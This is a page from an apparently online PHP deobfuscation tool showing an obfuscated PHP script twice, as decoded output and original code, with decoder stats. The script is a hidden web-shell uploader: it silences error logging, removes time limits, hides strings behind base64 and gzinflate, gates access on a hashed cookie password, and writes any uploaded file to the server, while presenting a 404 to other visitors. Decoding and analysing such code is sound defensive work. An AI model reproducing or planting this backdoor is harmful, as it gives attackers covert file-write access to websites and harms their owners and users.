Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ ##8.55M4~P ini_set/*$G=.`%r*/('log_errors', 0); @ ##\cp3\ ini_set/*RN-ES..
Decoded Output download
<?php
@ ##8.55M4~P
ini_set/*$G=.`%r*/('log_errors', 0);
@ ##\cp3\
ini_set/*RN-ESfo R:U)H:P*/('error_log', NULL);
@ //,ENnfbU{Dl
ini_set/*S$_XHEZC<\$7CC5S=G*/('error_reporting', NULL);
@ //-A-3js
error_reporting//-vPI\#plZ)mu
(0);
@ ##(L[MBAEQ,fbvxdQoJ&YB
ini_set ##i&N&Y+
('max_execution_time', 0);
@ ##(mk(PjJ
set_time_limit/*i|APiKaWKxB1(*/(0);
@//2m.hT2D#@vKGKBW(M%m1
ignore_user_abort ##3pePg^N4z&V1P\WS]
(true);
function /*nyRh*(6sG|APkX*/O/*WFTlhGL!9NHiM=c*/($s){
/*xVS1X;`l|WY%.bRTN-*/$O ##F(I-&uz
= //<%J]ky;2khW:$A$nSNsH
"b".//-(-\PEuwUG,ZPePOc]$B
##PQy<QLw&8cTVv44DpFgH
"ase64_decode"; ##FO.Ns\MP^1RV]wA21^
##-]^g]
$s//%[@gzi!nv9Lci,;
=//32ft^>y]EY%puy
$O//n#^ xNt
($s);
##%eXngsV;ULV~Ylfo^HLC
$O ##hEU]nYlpB4
= //+PvVm*V_I`1Mty
"gzinflate";//HF!!C||co)~>,^9%mi
return /*I&gH]C[2ze&*/$O ##0}c^K y
($s);
}
if(/*ZH)k{!9={>DJvd4(d*/md5//D0T87}Bk#6>
(/*{B&Np$]2#BcXu5AU5%V*/md5/*Akw4L{<*/(/*&M=>k\*gAf{\eMz>8|*/md5 ##~:2zm.B{zymA<YdQE
(//o-E3_D`{B4KC[-1v
$_SERVER//An$D k3:m=xA4;l\mo_
[//aX&\&
O/*QK.Sr0!&p=*/( ##gBr.]X4,!
'8wgJCYgPDXYNind0d/ULAQA=')//h7F2c9}PU
]))) == /*zVH^K\9 ,b!ywcc*/O ##V[nx.9k}`9K]N`{\U~a
( //2n~IPLc}jr>W
'SzU2NjG1NLVMM0tONjGyTEpKNUi1SE5JMrO0SDYxtEgBAA==')/*:2JeKYUZ_ {wPG5w}CC*/){
if(/*:<U-)yFXI*/session_start ##T]YtDA
()){//=Cz*w]*xB1FZomJTX~2
preg_match ##SXC%_OuUC;=fr
( /*RX\)D^.Ea0O8X3#G6O u*/O ##x-(XG
(/*xoXnqXlNK ;vH_7gdQW*/'04+LjrOK1dLPBAA=') ##\c*:p$^H&7
,//red4NPkHDbz#o[K(fX
$_SERVER//oCjZzI#|f\Z
[ //l$Q>4FMDYAY3%;
O/*a}C!f*/( /*aNcUV}p)J<bZdE*/'8wgJCYj38A8OAQA=')/*PvV:Mu*/], $RQXIJI);/*[yQQQ*/$KSVLYB ##2o =CE)]H[4
= /*$1,hS}lN*/$RQXIJI//vz:@JF}Nd
[0];if(@/*+)P,^*/md5 ##EcJC8
(//o.\$:]
$_COOKIE ##Gz8xGaL
[ //diHoHO%eUqcXlyLN\Tdd
md5//~_t,ar p35BUDIIAku
(/*em]z$1=t}SyHgPcSO*/$KSVLYB//b<$VM$
. ##|,ek ^).`&9
O ##Cg4Hv
( ##=QyPx
'KyguTwEA')/*p:aSwhvuFk*/ )]) != //9%}eTWT`O[7
O ##x~N>US2SQ6}Dq >;J$_
(//Q$XbEi>$rl~Tw3
'M7c0NE81SLVMtTQzMrdITLUwSE6xNEuyNDA1MU1JSTUFAA==')//Hz)H.*0T~o:)gn
){echo ##h-GVUl#C\,r
O//fg}\(.
( //T]m@tG|IT5.\
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*Jj6Wq8j}j]SKs+*/;exit();}}
if(!empty(//M%>,x|ruKa+
$_FILES ##E0lQ@yle5J8q
[/*)J44[I*/O//guy;biaIKm$Z:bESO0)[
( ##Qm@K)qHE T%@R*tsw
'y610y8xJBQA=')//ha0%Jbe{cdDpVp{k
])){
//a6!z{
move_uploaded_file/*@D}3>T,qmAVKnU*/(//mDZwchnEJ[V[N:Hu^
$_FILES//8WakVj^:l|KDF!h!>
[//xE7yVqyt-A
O ##BApPnFW
( /*K>;$lY&V#*/'y610y8xJBQA=')//qp[K#7=ia7OSVhmuu#9$
][/*>e}ia iANpp:U*/O/*QABHHO*/( ##aZbgYuQCzz}Vh,1LR%
'K8ktiM9LzE0FAA==')/*CPNoyO\Mb-\5bN3G*/], ##=qG0r`Ghhm
$_FILES//^4W6F
[ ##]12>g:
O ##uBHz;Yd%JCsh|E@zg
( ##9hd@&xJB>
'y610y8xJBQA=')/*at3=rdfZ7N#Q-N*/ ][/*`%RS@mQ09Od kKaH*/O//lv$HWIL*
( //M3trs
'y0vMTQUA')//lj0:`Ck7Sz\7G;
]);
}
echo //}NO6Sf5uE
O/*QT4xY9S*/(//}Eu12~IFs W
'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*G:$C}BKU4Txr\*/;
exit;
}else{
##8@c^K^NnuSkZ
header//vW(4,-{lk<MJ>
(/*5sm>OoZ#pU*/O//F6O]fKoO8WT QHaWjG
(/*i(x{%]]cROqH_=O~7*/'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA') ##~5oe2[xfj
);
/*IzH=86r[xu{*/header//@K:hz.-cs,#{dp
( ##}_F P8k
O//mW5rST:P
( //OTXh6g
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=') ##@Xk4<W]f2R3,0
);
exit();
} ?>
Did this file decode correctly?
Original Code
<?php
@ ##8.55M4~P
ini_set/*$G=.`%r*/('log_errors', 0);
@ ##\cp3\
ini_set/*RN-ESfo R:U)H:P*/('error_log', NULL);
@ //,ENnfbU{Dl
ini_set/*S$_XHEZC<\$7CC5S=G*/('error_reporting', NULL);
@ //-A-3js
error_reporting//-vPI\#plZ)mu
(0);
@ ##(L[MBAEQ,fbvxdQoJ&YB
ini_set ##i&N&Y+
('max_execution_time', 0);
@ ##(mk(PjJ
set_time_limit/*i|APiKaWKxB1(*/(0);
@//2m.hT2D#@vKGKBW(M%m1
ignore_user_abort ##3pePg^N4z&V1P\WS]
(true);
function /*nyRh*(6sG|APkX*/O/*WFTlhGL!9NHiM=c*/($s){
/*xVS1X;`l|WY%.bRTN-*/$O ##F(I-&uz
= //<%J]ky;2khW:$A$nSNsH
"\x62".//-(-\PEuwUG,ZPePOc]$B
##PQy<QLw&8cTVv44DpFgH
"\x61s\x656\x34_\x64\x65c\x6f\x64\x65"; ##FO.Ns\MP^1RV]wA21^
##-]^g]
$s//%[@gzi!nv9Lci,;
=//32ft^>y]EY%puy
$O//n#^ xNt
($s);
##%eXngsV;ULV~Ylfo^HLC
$O ##hEU]nYlpB4
= //+PvVm*V_I`1Mty
"\x67\x7ain\x66l\x61t\x65";//HF!!C||co)~>,^9%mi
return /*I&gH]C[2ze&*/$O ##0}c^K y
($s);
}
if(/*ZH)k{!9={>DJvd4(d*/md5//D0T87}Bk#6>
(/*{B&Np$]2#BcXu5AU5%V*/md5/*Akw4L{<*/(/*&M=>k\*gAf{\eMz>8|*/md5 ##~:2zm.B{zymA<YdQE
(//o-E3_D`{B4KC[-1v
$_SERVER//An$D k3:m=xA4;l\mo_
[//aX&\&
O/*QK.Sr0!&p=*/( ##gBr.]X4,!
'8wgJCYgPDXYNind0d/ULAQA=')//h7F2c9}PU
]))) == /*zVH^K\9 ,b!ywcc*/O ##V[nx.9k}`9K]N`{\U~a
( //2n~IPLc}jr>W
'SzU2NjG1NLVMM0tONjGyTEpKNUi1SE5JMrO0SDYxtEgBAA==')/*:2JeKYUZ_ {wPG5w}CC*/){
if(/*:<U-)yFXI*/session_start ##T]YtDA
()){//=Cz*w]*xB1FZomJTX~2
preg_match ##SXC%_OuUC;=fr
( /*RX\)D^.Ea0O8X3#G6O u*/O ##x-(XG
(/*xoXnqXlNK ;vH_7gdQW*/'04+LjrOK1dLPBAA=') ##\c*:p$^H&7
,//red4NPkHDbz#o[K(fX
$_SERVER//oCjZzI#|f\Z
[ //l$Q>4FMDYAY3%;
O/*a}C!f*/( /*aNcUV}p)J<bZdE*/'8wgJCYj38A8OAQA=')/*PvV:Mu*/], $RQXIJI);/*[yQQQ*/$KSVLYB ##2o =CE)]H[4
= /*$1,hS}lN*/$RQXIJI//vz:@JF}Nd
[0];if(@/*+)P,^*/md5 ##EcJC8
(//o.\$:]
$_COOKIE ##Gz8xGaL
[ //diHoHO%eUqcXlyLN\Tdd
md5//~_t,ar p35BUDIIAku
(/*em]z$1=t}SyHgPcSO*/$KSVLYB//b<$VM$
. ##|,ek ^).`&9
O ##Cg4Hv
( ##=QyPx
'KyguTwEA')/*p:aSwhvuFk*/ )]) != //9%}eTWT`O[7
O ##x~N>US2SQ6}Dq >;J$_
(//Q$XbEi>$rl~Tw3
'M7c0NE81SLVMtTQzMrdITLUwSE6xNEuyNDA1MU1JSTUFAA==')//Hz)H.*0T~o:)gn
){echo ##h-GVUl#C\,r
O//fg}\(.
( //T]m@tG|IT5.\
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*Jj6Wq8j}j]SKs+*/;exit();}}
if(!empty(//M%>,x|ruKa+
$_FILES ##E0lQ@yle5J8q
[/*)J44[I*/O//guy;biaIKm$Z:bESO0)[
( ##Qm@K)qHE T%@R*tsw
'y610y8xJBQA=')//ha0%Jbe{cdDpVp{k
])){
//a6!z{
move_uploaded_file/*@D}3>T,qmAVKnU*/(//mDZwchnEJ[V[N:Hu^
$_FILES//8WakVj^:l|KDF!h!>
[//xE7yVqyt-A
O ##BApPnFW
( /*K>;$lY&V#*/'y610y8xJBQA=')//qp[K#7=ia7OSVhmuu#9$
][/*>e}ia iANpp:U*/O/*QABHHO*/( ##aZbgYuQCzz}Vh,1LR%
'K8ktiM9LzE0FAA==')/*CPNoyO\Mb-\5bN3G*/], ##=qG0r`Ghhm
$_FILES//^4W6F
[ ##]12>g:
O ##uBHz;Yd%JCsh|E@zg
( ##9hd@&xJB>
'y610y8xJBQA=')/*at3=rdfZ7N#Q-N*/ ][/*`%RS@mQ09Od kKaH*/O//lv$HWIL*
( //M3trs
'y0vMTQUA')//lj0:`Ck7Sz\7G;
]);
}
echo //}NO6Sf5uE
O/*QT4xY9S*/(//}Eu12~IFs W
'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*G:$C}BKU4Txr\*/;
exit;
}else{
##8@c^K^NnuSkZ
header//vW(4,-{lk<MJ>
(/*5sm>OoZ#pU*/O//F6O]fKoO8WT QHaWjG
(/*i(x{%]]cROqH_=O~7*/'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA') ##~5oe2[xfj
);
/*IzH=86r[xu{*/header//@K:hz.-cs,#{dp
( ##}_F P8k
O//mW5rST:P
( //OTXh6g
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=') ##@Xk4<W]f2R3,0
);
exit();
}
Function Calls
None |
Stats
MD5 | b7a845c3a5d19d1bb3b9de1f6effebab |
Eval Count | 0 |
Decode Time | 38 ms |